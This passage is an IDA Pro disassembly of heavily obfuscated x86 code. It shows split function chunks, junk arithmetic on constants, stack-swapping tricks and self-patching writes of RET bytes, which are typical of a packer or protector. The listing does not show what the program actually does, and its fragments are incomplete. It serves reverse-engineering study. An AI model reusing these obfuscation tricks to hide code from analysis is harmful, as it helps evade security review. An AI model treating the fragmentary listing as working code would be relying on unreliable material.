; FUNCTION CHUNK AT 0074C920 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074CD8F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074E080 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EA90 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 007504FC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00752183 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753231 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 007537C2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00754D04 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0075679A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00757354 SIZE 00000026 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-4]
		mov	al, [eax]
		jmp	loc_7504FC
sub_748B44	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_748B52	proc near		; CODE XREF: sub_747C22+65Bj
					; _0z4jwtox:00749936p

; FUNCTION CHUNK AT 0074583E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007484CF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00748F3E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 007494EC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074A2A2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0074AC68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E3E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074FFC0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075604A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 007566AD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007576E4 SIZE 00000016 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		cmp	al, 0A4h
		jz	loc_74F2FD
		jmp	loc_7494EC
sub_748B52	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_748B63:				; CODE XREF: _0z4jwtox:007480BBj
		mov	eax, [esp]
		push	edx
		call	sub_755C10
		mov	eax, 5389CFC1h
		call	sub_746E93
		jmp	loc_749B1A

; =============== S U B	R O U T	I N E =======================================



sub_748B7B	proc near		; CODE XREF: _0z4jwtox:0074F105j
					; sub_745911+B052p

; FUNCTION CHUNK AT 0074B544 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007575A2 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	al, [ebp-5]
		pop	ecx
		pop	ecx
		jmp	loc_7575A2
sub_748B7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_748B89	proc near		; DATA XREF: _0z4jwtox:loc_7536AEo

; FUNCTION CHUNK AT 00754C15 SIZE 00000005 BYTES

		add	esi, 0AFFB105Dh
		xchg	esi, [esp+0]
		jmp	loc_754C15
sub_748B89	endp


; =============== S U B	R O U T	I N E =======================================



sub_748B97	proc near		; CODE XREF: sub_7562D5-F484p
					; _0z4jwtox:0074B0F0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00748C03 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [eax],	0C3h
		jmp	loc_748C03
sub_748B97	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_748BA3	proc near		; CODE XREF: sub_4010B2+182p
					; sub_4018CB+FFp ...
		call	sub_748BB8
		jmp	ds:off_41F04C
sub_748BA3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_748BAE:				; CODE XREF: sub_7557E7+1BF3j
		jmp	loc_756581
; END OF FUNCTION CHUNK	FOR sub_7557E7
; ---------------------------------------------------------------------------


loc_748BB3:				; CODE XREF: _0z4jwtox:0074E8C6j
		jmp	loc_7547CB

; =============== S U B	R O U T	I N E =======================================



sub_748BB8	proc near		; CODE XREF: sub_748BA3p sub_74CB0C+7j ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007460D5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074788D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074CB18 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0074E288 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0075330A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00754960 SIZE 00000005 BYTES

		pop	edx
		jmp	loc_74788D
sub_748BB8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_748BBE	proc near		; CODE XREF: sub_74742A+D0BDp
					; _0z4jwtox:007549B3j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00748310 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074851C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 007502B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075065B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00752233 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755204 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 007561CE SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	34FF6D7Fh
		pop	eax
		add	eax, 27E11357h
		and	eax, 82BC7716h
		cmp	eax, 539B9C31h
		jmp	loc_7502B0
sub_748BBE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_748BDF:				; CODE XREF: sub_74AAC1-1EA4j
		push	0A42E6ADBh
		pop	ecx
		or	ecx, 0E44869EBh
		jnz	loc_74C150
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; START	OF FUNCTION CHUNK FOR sub_74870B


loc_748BF1:				; CODE XREF: sub_74870B+6B16j
		jmp	loc_746CFE
; END OF FUNCTION CHUNK	FOR sub_74870B
; ---------------------------------------------------------------------------


loc_748BF6:				; CODE XREF: _0z4jwtox:0074A545j
		jmp	sub_7571A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_748BFB:				; CODE XREF: sub_74D23E+6E75j
		pop	edi
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746128


loc_748BFE:				; CODE XREF: sub_746128+9311j
		jmp	nullsub_70
; END OF FUNCTION CHUNK	FOR sub_746128
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B97


loc_748C03:				; CODE XREF: sub_748B97+7j
		jmp	sub_7562D5
; END OF FUNCTION CHUNK	FOR sub_748B97
; ---------------------------------------------------------------------------


loc_748C08:				; CODE XREF: _0z4jwtox:0074643Ej
		jmp	loc_752DCE

; =============== S U B	R O U T	I N E =======================================



sub_748C0D	proc near		; CODE XREF: sub_753C2A:loc_74968Dj
					; sub_754FC6-758Ej ...

; FUNCTION CHUNK AT 007452E7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00747296 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074910B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749850 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074C27B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074C6F7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074D592 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074FFE3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752010 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00754B16 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756534 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00756F17 SIZE 00000015 BYTES

		push	ebp
		jmp	loc_74910B
sub_748C0D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_748C13:				; CODE XREF: sub_74AAC1-1CAFj
		mov	edx, [edi]
		or	esi, ebx


loc_748C17:				; CODE XREF: sub_74AAC1:loc_756F56j
		mov	eax, 0DD960900h
		push	ecx
		jmp	loc_748BDF
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_748C22:				; CODE XREF: sub_74CF35:loc_755324j
		xor	eax, 0CCCCE0Ah
		jge	loc_750B05
		jb	loc_74AAAF


loc_748C34:				; CODE XREF: _0z4jwtox:loc_750D23j
		xchg	ebx, edx
		jmp	loc_748963
; END OF FUNCTION CHUNK	FOR sub_74CF35

; =============== S U B	R O U T	I N E =======================================



sub_748C3B	proc near		; CODE XREF: sub_74C0A0:loc_74E802p
					; _0z4jwtox:0074F528j

; FUNCTION CHUNK AT 007489FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A45B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C836 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D43B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00751152 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00754049 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00754B36 SIZE 00000019 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, 62CD69DAh
		push	edx
		jmp	loc_74A45B
sub_748C3B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F615


loc_748C4B:				; CODE XREF: sub_74F615:loc_74C48Fj
		jnb	loc_754D11
		jmp	loc_74B3A6
; END OF FUNCTION CHUNK	FOR sub_74F615
; ---------------------------------------------------------------------------


loc_748C56:				; CODE XREF: _0z4jwtox:00750C08j
		xor	ecx, 8A209DFDh
		add	ecx, ebp
		push	ebx
		push	2942D5F0h
		pop	ebx
		sub	ebx, 3AAC9CEFh
		xor	ebx, 0F75F0742h
		jmp	loc_74E151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BACE


loc_748C76:				; CODE XREF: sub_74BACE:loc_7481B4j
		pop	ecx
		xor	ecx, 0AE8D84EFh
		add	ecx, 0F5A0EF5Ch
		xchg	ecx, [esp+0]
		jmp	sub_75375E
; END OF FUNCTION CHUNK	FOR sub_74BACE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F08D


loc_748C8C:				; CODE XREF: sub_74F08D-4AC0j
		jmp	loc_749785
; END OF FUNCTION CHUNK	FOR sub_74F08D
; ---------------------------------------------------------------------------
		db 0C4h, 0CBh, 34h
dword_748C94	dd 0							; sub_746C5E+6r ...

; =============== S U B	R O U T	I N E =======================================



sub_748C98	proc near		; CODE XREF: sub_40A3AD+4C0p
					; sub_40ACAF+DFp ...

; FUNCTION CHUNK AT 0074A008 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0074DF24 SIZE 00000013 BYTES

		jz	loc_74DF24
		mov	eax, ds:dword_74AC54
		push	offset loc_746D51
		jmp	nullsub_35
sub_748C98	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74952C


loc_748CAE:				; CODE XREF: sub_74952C:loc_7489E4j
					; sub_74952C-B36j
		add	eax, 5F0E9C4Ah
		push	offset loc_74EFD2
		jmp	nullsub_39
; END OF FUNCTION CHUNK	FOR sub_74952C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7541BA


loc_748CBE:				; CODE XREF: sub_7541BA:loc_74F380j
		mov	al, [eax]
		jnz	loc_748A68
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		call	sub_752115
		and	ebp, 324FCCCFh
		jmp	loc_7509DE
; END OF FUNCTION CHUNK	FOR sub_7541BA

; =============== S U B	R O U T	I N E =======================================



sub_748CDD	proc near		; DATA XREF: _0z4jwtox:0075058Co
		call	nullsub_6
		jmp	ds:dword_41F078
sub_748CDD	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		sbb	al, 24h
		mov	edx, ebx
		pop	ebx
		jns	loc_745EA7
		mov	eax, [esp]
		jmp	loc_748460

; =============== S U B	R O U T	I N E =======================================



sub_748CFC	proc near		; CODE XREF: _0z4jwtox:0074B5FDj
					; _0z4jwtox:007573CFp

; FUNCTION CHUNK AT 0074B6FF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075045D SIZE 00000008 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	ds:off_41F0E4, eax
		lea	eax, loc_750676
		jmp	loc_75045D
sub_748CFC	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_748D12:				; CODE XREF: sub_745A78+CC77j
		jmp	loc_7497C1
; END OF FUNCTION CHUNK	FOR sub_745A78
; ---------------------------------------------------------------------------


loc_748D17:				; CODE XREF: _0z4jwtox:loc_7467C5j
		pushf
		push	64419A80h
		pop	eax
		xor	eax, 6AAC0C31h
		add	eax, 0F186DBB6h
		popf
		xchg	eax, [esp]
		jmp	loc_748DF0
; ---------------------------------------------------------------------------


loc_748D33:				; CODE XREF: _0z4jwtox:00756192j
		mov	eax, 7EC4DE38h

; =============== S U B	R O U T	I N E =======================================



sub_748D38	proc near		; CODE XREF: _0z4jwtox:00752FF4p

; FUNCTION CHUNK AT 00745452 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074556D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074C763 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 007523B3 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xor	eax, 0AEB5E723h
		jmp	loc_74C763
sub_748D38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_748D47	proc near		; DATA XREF: sub_750FBF+Ao
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_252
sub_748D47	endp

; ---------------------------------------------------------------------------


loc_748D4F:				; CODE XREF: _0z4jwtox:007531A0j
		mov	eax, [esp]
		push	edx
		push	edx
		push	1EA5A3B2h
		jmp	loc_74FC2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F688


loc_748D5E:				; CODE XREF: sub_74F688+17CCj
		push	edi
		mov	edi, edx
		xchg	edi, [esp+4+var_4]
		push	eax
		push	5BDF1767h
		pop	eax
		rol	eax, 8
		or	eax, 0B19203A2h
		jmp	loc_753609
; END OF FUNCTION CHUNK	FOR sub_74F688
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_238. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D4D3


loc_748D7A:				; CODE XREF: sub_74D4D3+360Ej
		jmp	loc_7455B7
; END OF FUNCTION CHUNK	FOR sub_74D4D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E7AE


loc_748D7F:				; CODE XREF: sub_74E7AE+18j
		jmp	loc_756E68
; END OF FUNCTION CHUNK	FOR sub_74E7AE

; =============== S U B	R O U T	I N E =======================================



sub_748D84	proc near		; DATA XREF: sub_75712E-753o

; FUNCTION CHUNK AT 0074FBAC SIZE 00000005 BYTES

		add	ebx, 0FE50B951h
		xchg	ebx, [esp+0]
		jmp	loc_74FBAC
sub_748D84	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75143A


loc_748D92:				; CODE XREF: sub_75143A:loc_755A9Aj
					; DATA XREF: _0z4jwtox:00749FBCo
		add	edx, 0EE216A23h
		call	sub_74B525
		push	eax
		ror	eax, 12h
		push	ebx
		push	offset sub_74CCF4
		jmp	loc_754751
; END OF FUNCTION CHUNK	FOR sub_75143A
; ---------------------------------------------------------------------------

locret_748DAC:				; CODE XREF: _0z4jwtox:0074D325j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754B1B


loc_748DAD:				; CODE XREF: sub_754B1B+Fj
		jmp	loc_74A46C
; END OF FUNCTION CHUNK	FOR sub_754B1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_748DB2:				; CODE XREF: sub_74D1F3-B89j
		jmp	loc_750C1C
; END OF FUNCTION CHUNK	FOR sub_74D1F3

; =============== S U B	R O U T	I N E =======================================



sub_748DB7	proc near		; DATA XREF: sub_7509E0:loc_74A035o

; FUNCTION CHUNK AT 00754075 SIZE 0000000A BYTES

		sub	eax, 53498B15h
		rol	eax, 1
		add	eax, 2A06A672h
		push	edi
		jmp	loc_754075
sub_748DB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_748DCB	proc near		; DATA XREF: sub_7507FE+9o

; FUNCTION CHUNK AT 00747BF1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749359 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074A5B6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074CDCD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075097B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00750DB7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00750EB3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0075146E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007546A9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00754F3A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00754FE4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00756570 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00756C39 SIZE 0000000B BYTES

		pop	ebx
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		push	ecx
		push	11BA7D22h
		pop	ecx


loc_748DDB:				; CODE XREF: _0z4jwtox:loc_750109j
		add	ecx, 48FEB274h
		jmp	loc_74CDCD
sub_748DCB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_748DE6:				; CODE XREF: _0z4jwtox:loc_74CC19j
		call	sub_74BA42
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_748DEB:				; CODE XREF: sub_74AAC1+C3E5j
		jmp	loc_751130
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------


loc_748DF0:				; CODE XREF: _0z4jwtox:00748D2Ej
		jmp	sub_746E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E40A


loc_748DF5:				; CODE XREF: sub_74E40A:loc_753A05j
					; sub_74E40A+5608j
		push	offset sub_74AF9C
		jmp	nullsub_116
; END OF FUNCTION CHUNK	FOR sub_74E40A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_748DFF:				; CODE XREF: sub_746E37:loc_7482F5j
		js	loc_74F7DC


loc_748E05:				; CODE XREF: sub_750291+42CEj
		jmp	nullsub_198
; END OF FUNCTION CHUNK	FOR sub_746E37
; ---------------------------------------------------------------------------
		test	esi, edx
		jmp	loc_74F7CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_748E11:				; CODE XREF: sub_74AAC1+C49Bj
		pop	edx
		jmp	loc_748C13
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------


loc_748E17:				; CODE XREF: _0z4jwtox:00757539j
		jno	loc_74715C

; =============== S U B	R O U T	I N E =======================================



sub_748E1D	proc near		; CODE XREF: sub_74952C+1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00746A3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748FE1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0075754C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075763E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007576FA SIZE 0000001A BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0D19E8EA9h
		pop	ecx
		jmp	loc_746A3E
sub_748E1D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		ror	ecx, 18h
		jmp	sub_7508A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7500AE


loc_748E34:				; CODE XREF: sub_7500AE:loc_745881j
		call	sub_756B70


loc_748E39:				; CODE XREF: sub_7571E0-10CA8j
		jmp	sub_75364C
; END OF FUNCTION CHUNK	FOR sub_7500AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745CC7


loc_748E3E:				; CODE XREF: sub_745CC7+7j
		jmp	nullsub_36
; END OF FUNCTION CHUNK	FOR sub_745CC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_748E43:				; CODE XREF: _0z4jwtox:0074AD0Aj
					; sub_746640+AC4Ej
		not	edx
; END OF FUNCTION CHUNK	FOR sub_746640

; =============== S U B	R O U T	I N E =======================================



sub_748E45	proc near		; CODE XREF: sub_752C44-1D36p

; FUNCTION CHUNK AT 0074806B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074D7E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00751540 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756D49 SIZE 0000000F BYTES

		xchg	edx, [esp+0]
		pop	edx
		xor	eax, 925BE365h
		add	eax, ebp
		jmp	loc_74D7E9
sub_748E45	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_748E56:				; CODE XREF: _0z4jwtox:007522B8j
		jnb	loc_751F54
		add	esi, 378A17F7h
		pushf
		jmp	loc_745B54

; =============== S U B	R O U T	I N E =======================================



sub_748E68	proc near		; CODE XREF: _0z4jwtox:0075244Dp
					; _0z4jwtox:007548E8j

; FUNCTION CHUNK AT 007466F6 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		pop	ebx
		lea	eax, sub_74F69D
		mov	byte ptr [eax],	0C3h
		jmp	loc_7466F6
sub_748E68	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F69D


loc_748E7B:				; CODE XREF: sub_74F69D+1j
		mov	eax, [esp+0]
		jmp	loc_74F4A1
; END OF FUNCTION CHUNK	FOR sub_74F69D
; ---------------------------------------------------------------------------


loc_748E83:				; CODE XREF: _0z4jwtox:0074BF35j
		add	eax, 5488903h
		sub	eax, 7D87C9D8h
		and	eax, 732B9FACh
		add	eax, 0B07400A3h
		xchg	eax, [esp]
		jmp	loc_756E83
; ---------------------------------------------------------------------------
		jmp	ds:off_41F014
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754C68


loc_748EA9:				; CODE XREF: sub_754C68-6698j
		jmp	nullsub_140
; END OF FUNCTION CHUNK	FOR sub_754C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7508F9


loc_748EAE:				; CODE XREF: sub_7508F9-4031j
		jmp	loc_746C47
; END OF FUNCTION CHUNK	FOR sub_7508F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_748EB3:				; CODE XREF: sub_74673E:loc_74BDE4j
					; sub_745644:loc_754264j ...
		push	offset loc_74C537
		jmp	loc_7560DE
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------


loc_748EBD:				; CODE XREF: _0z4jwtox:00755C67j
		jge	loc_756061
; START	OF FUNCTION CHUNK FOR sub_74CBE6


loc_748EC3:				; CODE XREF: sub_74CBE6+1Aj
		jmp	loc_746A17
; END OF FUNCTION CHUNK	FOR sub_74CBE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_748EC8:				; CODE XREF: sub_747736+1DCEj
		jmp	nullsub_135
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_748ECD:				; CODE XREF: sub_745A78+EF7j
		jmp	loc_7540D8
; END OF FUNCTION CHUNK	FOR sub_745A78
; ---------------------------------------------------------------------------
		sub	eax, 0FC71A4F1h
		adc	esi, 19644A6Fh
		test	ebx, 3431260Eh
		jmp	loc_756059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_748EE9:				; CODE XREF: sub_74D782:loc_74C9E6j
		jb	loc_74F70A
		cdq


loc_748EF0:				; CODE XREF: _0z4jwtox:loc_74E948j
		push	0F7B10C4Bh
		pop	eax


loc_748EF6:				; CODE XREF: _0z4jwtox:loc_747424j
		or	eax, 0E14ECF9h
		xor	eax, 5390CE93h
		jmp	loc_74BC91
; END OF FUNCTION CHUNK	FOR sub_74D782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D823


loc_748F07:				; CODE XREF: sub_74D823+15j
					; _0z4jwtox:loc_75642Fj
		call	sub_752E0F


loc_748F0C:				; CODE XREF: _0z4jwtox:00750CEEj
		mov	eax, ds:dword_74F3A0
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	esp, ebp
		xchg	edx, [esp+0]
		jmp	loc_7499F1
; END OF FUNCTION CHUNK	FOR sub_74D823
; ---------------------------------------------------------------------------


loc_748F21:				; CODE XREF: _0z4jwtox:0074567Aj
		mov	edi, ecx
		pop	ecx
		xor	edi, 3D1A1478h
		or	edi, 71DA7BAEh
		add	edi, 8E95E5B2h
		xchg	edi, [esp]
		jmp	loc_74FA65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B52


loc_748F3E:				; CODE XREF: sub_748B52:loc_74583Ej
		add	eax, 6C2E1661h
		add	eax, ebp
		call	sub_74FA7E


loc_748F4B:				; CODE XREF: sub_753D1A+11j
		jmp	loc_75604A
; END OF FUNCTION CHUNK	FOR sub_748B52
; ---------------------------------------------------------------------------


loc_748F50:				; CODE XREF: _0z4jwtox:00749469j
		jmp	sub_7574E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75547D


loc_748F55:				; CODE XREF: sub_75547D-F124j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_75547D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75609F


loc_748F5B:				; CODE XREF: sub_75609F-9324j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_75609F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749010


loc_748F60:				; CODE XREF: sub_749010:loc_74F781j
		or	eax, 0A80820DDh
		xor	eax, 2C2E51F6h
		add	eax, 6A239DFCh
		xor	eax, 93438FA9h
		push	eax
		pushf
		push	735F1E1Dh
		pop	eax
		jmp	loc_752E2E
; END OF FUNCTION CHUNK	FOR sub_749010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74724C


loc_748F85:				; CODE XREF: sub_74724C:loc_745C3Ej
		mov	eax, ebp
		pop	ebp
		call	sub_753019


loc_748F8D:				; CODE XREF: _0z4jwtox:0074D8E4j
		test	ebx, ecx
		jmp	loc_755EB3
; END OF FUNCTION CHUNK	FOR sub_74724C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_748F94:				; CODE XREF: sub_747C22+7291j
		jnp	nullsub_117
		adc	ebp, esi
		xchg	edi, [ebp+0]
		jmp	loc_74A92B
; END OF FUNCTION CHUNK	FOR sub_747C22

; =============== S U B	R O U T	I N E =======================================



sub_748FA4	proc near		; CODE XREF: _0z4jwtox:007490C3j
					; sub_74BFE0:loc_757418p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745BB3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00746D64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749AD6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074AF7A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074C00E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074C0ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074CFD6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074E5B7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00750C41 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753697 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0075542F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00755716 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755EE0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00756BAE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 007571B2 SIZE 00000010 BYTES

		xchg	edi, [esp+0]
		pop	edi
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_750C41
		jmp	loc_746D64
sub_748FA4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7457B3


loc_748FBC:				; CODE XREF: sub_7457B3:loc_749F02j
		test	eax, 1000000h
		jmp	loc_74F5DC
; END OF FUNCTION CHUNK	FOR sub_7457B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DE55


loc_748FC7:				; CODE XREF: sub_74DE55:loc_757732j
		and	eax, 0FFh
		mov	eax, ds:dword_751A34[eax*4]
		mov	[ebp-8], eax
; END OF FUNCTION CHUNK	FOR sub_74DE55
; START	OF FUNCTION CHUNK FOR sub_74A71A


